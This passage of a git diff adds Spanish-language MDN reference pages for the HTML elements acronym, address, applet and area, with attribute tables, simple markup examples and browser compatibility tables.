+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable">Utilizando el elemento &lt;abbr&gt;</a></li>
+ <li>Otros elementos de nivel semántico de texto: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
+
+<div> </div>
diff --git a/files/es/web/html/elemento/acronym/index.html b/files/es/web/html/elemento/acronym/index.html
new file mode 100644
index 0000000000..94581489a3
--- /dev/null
+++ b/files/es/web/html/elemento/acronym/index.html
@@ -0,0 +1,160 @@
+---
+title: acronym
+slug: Web/HTML/Elemento/acronym
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/acronym
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>acromym</strong> de acromyn=acrónimo</p>
+
+<p>Es el encargado para marcar estas formas abreviadas (modem, AJAX...). Además, gracias al atributo <code style="color: green;">title</code> podemos indicar la versión extendida del término.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;abbr&gt; y &lt;/abbr&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<pre class="eval"><span class="nowiki">
+ &lt;p&gt;
+ El acrónimo de moda es:
+ &lt;acronym lang="en" title="Asynchronous JavaScript and XML"&gt;Ajax&lt;/acronym&gt;.
+ &lt;/p&gt;
+ </span>
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<p>En Firefox se resalta con un "subrayado" punteado fino. vea el ejemplo:</p>
+
+<pre class="eval"><span class="nowiki">
+ &lt;p&gt;
+ el &lt;abbr lang="en" title="Mocilla developer center"&gt;MDC&lt;/abbr&gt; toma el
+ &lt;span style='border-bottom: dotted thin;'
+ title='esto no es ni una abreviatura ni un acrónimo'&gt;relevo&lt;/span&gt; de lo que fue el
+ &lt;acronym lang="en" title="DEVeloper.Mozilla.Org"&gt;Devmo&lt;/acronym&gt;.
+ &lt;/p&gt;
+ </span>
+</pre>
+
+<p>Cabe destacar que <a href="es/HTML/Elemento/abbr">abbr</a> y <a href="es/HTML/Elemento/acronym">acronym</a> comparten estilo predeterminado.</p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-acronym">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>El tema de las abreviaturas y acrónimos puede ser un tanto lioso. En castellano a veces cuesta saber si tal 'palabra' es una <a class="external" href="http://es.wikipedia.org/wiki/Abreviatura">abreviatura</a>, un <a class="external" href="http://es.wikipedia.org/wiki/Acr%C3%B3nimo">acrónimo</a> una sigla o un símbolo. Para complicarlo un poco más, resulta que el estándar html está en inglés y parece ser que las gramáticas castellana e inglesa no definen exactamente igual conceptos como <a href="es/HTML/Elemento/abbr">abreviatura</a> o <a href="es/HTML/Elemento/acronym">acrónimo</a>.</p>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <strong>acronym</strong> en el estándar <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/text.html#edef-ACRONYM">HTML 4.01</a></li>
+</ul>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber como hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/address/index.html b/files/es/web/html/elemento/address/index.html
new file mode 100644
index 0000000000..fdfacfeba1
--- /dev/null
+++ b/files/es/web/html/elemento/address/index.html
@@ -0,0 +1,163 @@
+---
+title: <address>
+slug: Web/HTML/Elemento/address
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/address
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML <code>&lt;address&gt;</code></strong> aporta información de contacto para su {{HTMLElement("article")}} más cercano o ancestro {{HTMLElement("body")}}; en el último caso lo aplica a todo el documento.</p>
+
+<div class="note">
+<p><strong>Notas de uso:</strong></p>
+
+<ul>
+ <li>Para representar una dirección arbitraria, una que no esté relacionada con la información de contacto, utiliza un elemento {{HTMLElement("p")}} en lugar del elemento <code>&lt;address&gt;</code>.</li>
+ <li>Este elemento no debe contener más información que la información de contacto, como una fecha de publicación (que pertenece al elemento {{HTMLElement("time")}}).</li>
+ <li>Normalmente un elemento <code>&lt;address&gt;</code> puede ser colocado dentro del elemento {{HTMLElement("footer")}} de la sección actual, si lo hay.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, contenido palpable</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>
+    <p><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, pero no con elementos <code>&lt;address&gt;</code> anidados, no contenidos de cabecera ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), no contenido de sección ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}), y no elemento {{HTMLElement("header")}} o {{HTMLElement("footer")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Etiqueta de omisión</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">contenido dinámico</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>
+    <p>{{domxref("HTMLElement")}} antes de Gecko 2.0 (Firefox 4), Gecko implementó este elemento usando la interfaz {{domxref("HTMLSpanElement")}}.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento solo incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">  &lt;address&gt;
+    You can contact author at &lt;a href="http://www.somedomain.com/contact"&gt;www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+    If you see any bugs, please &lt;a href="mailto:webmaster@somedomain.com"&gt;contact webmaster&lt;/a&gt;.&lt;br&gt;
+    You may also want to visit us:&lt;br&gt;
+    Mozilla Foundation&lt;br&gt;
+    1981 Landings Drive&lt;br&gt;
+    Building K&lt;br&gt;
+    Mountain View, CA 94043-0801&lt;br&gt;
+    USA
+  &lt;/address&gt;
+</pre>
+
+<p>Above HTML will output:</p>
+
+<p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p>
+
+<p>Aunque el elemento de dirección representa el texto con el mismo estilo predeterminado de los elementos {{HTMLElement("i")}} o {{HTMLElement("em")}}, es más apropiado utilizarlo cuando se trata información de contacto, ya que transmite la información semántica adicional.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>1.0</td>
+   <td>5.12</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otras elementos de sección relacionados: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}};</li>
+ <li class="last"><a href="/es/docs/Sections_and_Outlines_of_an_HTML5_document">Secciones y línea generales de un documento HTML5</a>.</li>
+</ul>
diff --git a/files/es/web/html/elemento/applet/index.html b/files/es/web/html/elemento/applet/index.html
new file mode 100644
index 0000000000..51282989af
--- /dev/null
+++ b/files/es/web/html/elemento/applet/index.html
@@ -0,0 +1,236 @@
+---
+title: applet
+slug: Web/HTML/Elemento/applet
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/applet
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Permite añadir un applet Java en un documento HTML. Es un elemento <a href="es/HTML/Elemento/Tipos_de_elementos#Desaprobado">Desaprobado</a> En su lugar debe usarse el elemento <a href="es/HTML/Elemento/object">object</a>, su uso solo es válido declarando el dtd transicional.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;applet&gt; y &lt;/applet&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#Especiales">Elemento especial</a>. <a href="es/HTML/Elemento/Tipos_de_elementos#Desaprobado">Desaprobado</a></dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong> cero o más elementos param o del tipo 'en flujo'.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title </code></td>
+   <td>Texto</td>
+   <td>Implícito</td>
+   <td>Título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style </code></td>
+   <td>Reglas de estilo CSS</td>
+   <td>Implícito</td>
+   <td>Información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id </code></td>
+   <td>Un 'nombre'</td>
+   <td>Implícito</td>
+   <td>Identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class </code></td>
+   <td>Lista de clases CSS</td>
+   <td>implícito</td>
+   <td>Identificador a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir </code></td>
+   <td>Uno de los siguientes: "ltr" o "rtl"</td>
+   <td>Implícito</td>
+   <td>Dirección del texto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang </code></td>
+   <td>Código de idioma</td>
+   <td>Implícito</td>
+   <td>Información sobre el idioma.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">declare </code></td>
+   <td>(declare)</td>
+   <td>Implícito</td>
+   <td>Información sobre el idioma.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">classid </code></td>
+   <td>Una dirección</td>
+   <td>Implícito</td>
+   <td>Identifica una implementación.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">codebase </code></td>
+   <td>Una dirección</td>
+   <td>Implícito</td>
+   <td>URI base para classid, datos, archivo.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">data </code></td>
+   <td>Una dirección</td>
+   <td>Implícito</td>
+   <td>Referencia a los datos del objeto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">type </code></td>
+   <td>Tipo MIME</td>
+   <td>Implícito</td>
+   <td>Tipo de contenido de los datos.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">codetype </code></td>
+   <td>Tipo MIME</td>
+   <td>Implícito</td>
+   <td>Tipo de contenido del código.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">archive </code></td>
+   <td>Direcciones</td>
+   <td>Implícito</td>
+   <td>Lista de URIs separados por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">standby </code></td>
+   <td>Texto</td>
+   <td>Implícito</td>
+   <td>Mensaje a mostrar durente la carga.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">height </code></td>
+   <td>Tamaño</td>
+   <td>Implícito</td>
+   <td>Especificar nueva altura.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">width </code></td>
+   <td>Tamaño</td>
+   <td>Implícito</td>
+   <td>Especificar nueva anchura.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">usemap </code></td>
+   <td>Una dirección</td>
+   <td>Implícito</td>
+   <td>Usar mapa de imágenes en el cliente.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">name </code></td>
+   <td>CDATA</td>
+   <td>Implícito</td>
+   <td>Enviar como parte de un formulario.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">tabindex </code></td>
+   <td>Número</td>
+   <td>Implícito</td>
+   <td>Posición en el orden de tabulación.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">align </code></td>
+   <td>Uno de los siguientes: "top", "middle", "bottom", "left", "right".</td>
+   <td>Implícito</td>
+   <td>Alineación vertical u horizontal.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">border </code></td>
+   <td>Píxeles</td>
+   <td>Implícito</td>
+   <td>Grosor del borde del vínculo.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">hspace </code></td>
+   <td>Píxeles</td>
+   <td>Implícito</td>
+   <td>espacio horizontal.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">vspace </code></td>
+   <td>Píxeles</td>
+   <td>Implícito</td>
+   <td>Espacio vertical.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;"> %reserved; </code></td>
+   <td> </td>
+   <td> </td>
+   <td>Reservado para posibles usos futuros.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval"><span class="nowiki"> Ejemplo con applet:
+
+   &lt;applet code="loquesea.class"
+            width="500" height="500"&gt;
+       &lt;!-- Aquí los contenidos alternativos por si falla el applet. --&gt;
+  &lt;/applet&gt;
+
+  Lo mismo pero usando el elemento object:
+
+  &lt;object  codetype="application/java"
+            classid="java:loquesea.class"
+            width="500" height="500"&gt;
+     &lt;!-- Aquí los contenidos alternativos por si falla el applet. --&gt;
+  &lt;/object&gt;</span>
+</pre>
+
+<p> </p>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p><span class="comment">El contenido de applet actúa como información alternativa para agentes de usuario que no soporten este elemento o que estén configurados para no soportar applets. En cualquier otro caso los agentes de usuario deben ignorar el contenido.</span></p>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#edef-APPLET"><strong>applet</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p><span class="comment">secciones futuras: == Soporte de los navegadores == == Valores por defecto y visualización en Firefox ==</span></p>
diff --git a/files/es/web/html/elemento/area/index.html b/files/es/web/html/elemento/area/index.html
new file mode 100644
index 0000000000..201e8745a2
--- /dev/null
+++ b/files/es/web/html/elemento/area/index.html
@@ -0,0 +1,212 @@
+---
+title: area
+slug: Web/HTML/Elemento/area
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/area
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>area</strong> de area=área</p>
+
+<p>Sirve para crear las distintas secciones en las que se puede dividir un <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#include-maps">mapas de imágenes</a> en el cliente.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;area&gt; (solo tiene una).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: No.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Es un</strong>: Elemento para mapas de imágenes.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Nada.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Solo puede ser hijo de</strong>: Elementos <a href="es/HTML/Elemento/map">map</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-shape"><span style="color: green;">shape </span></a></td>
+   <td>Indica la forma del área del mapa.</td>
+   <td>Uno de los siguientes: <code>'rect'</code>, <code>'circle'</code>, <code>'poly'</code>, o <code>'default'</code>.</td>
+   <td><abbr title="Por defecto">PD.</abbr>: <code>'rect'</code></td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-coords"><span style="color: green;">coords </span></a></td>
+   <td>Indica las coordenadas (x,y) del área del mapa.</td>
+   <td>Lista de: cantidades de píxeles, o porcentajes de espacio disponible. Separadas por comas.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/links.html#adef-href"><span style="color: green;">href </span></a></td>
+   <td>La dirección del recurso vínculado.</td>
+   <td>Una dirección <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.4">URI</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> (o no).</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-nohref"><span style="color: green;">nohref </span></a></td>
+   <td>Indica que el área no es activa, no tiene enlace.</td>
+   <td>Uno: 'nohref'</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#adef-alt"><span style="color: green;">alt </span></a></td>
+   <td>Describe el área o su vínculo, es necesario por que <strong>area</strong> no tiene contenido.</td>
+   <td>Texto legible. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td><abbr title="El autor debe indicarlo">Requerido</abbr></td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#adef-accesskey"><span style="color: green;">accesskey </span></a></td>
+   <td>Define una tecla de acceso rápido. Importante para la <a href="es/Accesibilidad">Accesibilidad</a>.</td>
